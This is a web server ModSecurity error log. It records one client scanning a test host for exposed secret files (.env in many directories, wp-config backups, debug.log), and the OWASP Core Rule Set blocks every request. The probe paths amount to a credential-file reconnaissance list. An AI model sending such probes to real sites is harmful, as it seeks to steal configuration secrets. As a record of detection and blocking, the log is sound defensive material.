[Thu Feb 26 01:03:25.505524 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIAAAAAU&quot;]
[Thu Feb 26 01:03:25.505697 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIAAAAAU&quot;]
[Thu Feb 26 01:03:25.523326 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNwAAAAM&quot;]
[Thu Feb 26 01:03:25.523542 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNwAAAAM&quot;]
[Thu Feb 26 01:03:25.523685 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElNwAAAAM&quot;]
[Thu Feb 26 01:03:25.536304 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIQAAAAU&quot;]
[Thu Feb 26 01:03:25.536525 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIQAAAAU&quot;]
[Thu Feb 26 01:03:25.536693 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIQAAAAU&quot;]
[Thu Feb 26 01:03:25.551959 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElOAAAAAM&quot;]
[Thu Feb 26 01:03:25.552523 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElOAAAAAM&quot;]
[Thu Feb 26 01:03:25.552673 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElOAAAAAM&quot;]
[Thu Feb 26 01:03:25.565000 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIgAAAAU&quot;]
[Thu Feb 26 01:03:25.565238 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIgAAAAU&quot;]
[Thu Feb 26 01:03:25.565404 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIgAAAAU&quot;]
[Thu Feb 26 01:03:25.590323 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIwAAAAU&quot;]
[Thu Feb 26 01:03:25.590651 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.old&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIwAAAAU&quot;]
[Thu Feb 26 01:03:25.590868 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIwAAAAU&quot;]
[Thu Feb 26 01:03:25.591021 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QIwAAAAU&quot;]
[Thu Feb 26 01:03:25.620460 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElOgAAAAM&quot;]
[Thu Feb 26 01:03:25.620686 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElOgAAAAM&quot;]
[Thu Feb 26 01:03:25.620843 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElOgAAAAM&quot;]
[Thu Feb 26 01:03:25.671663 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJAAAAAU&quot;]
[Thu Feb 26 01:03:25.671910 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJAAAAAU&quot;]
[Thu Feb 26 01:03:25.672121 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJAAAAAU&quot;]
[Thu Feb 26 01:03:25.678521 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElPAAAAAM&quot;]
[Thu Feb 26 01:03:25.678781 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElPAAAAAM&quot;]
[Thu Feb 26 01:03:25.678946 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElPAAAAAM&quot;]
[Thu Feb 26 01:03:25.711786 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJQAAAAU&quot;]
[Thu Feb 26 01:03:25.712064 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJQAAAAU&quot;]
[Thu Feb 26 01:03:25.712242 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJQAAAAU&quot;]
[Thu Feb 26 01:03:25.741371 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.txt&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.txt found within REQUEST_FILENAME: /wp-config.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJgAAAAU&quot;]
[Thu Feb 26 01:03:25.741614 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJgAAAAU&quot;]
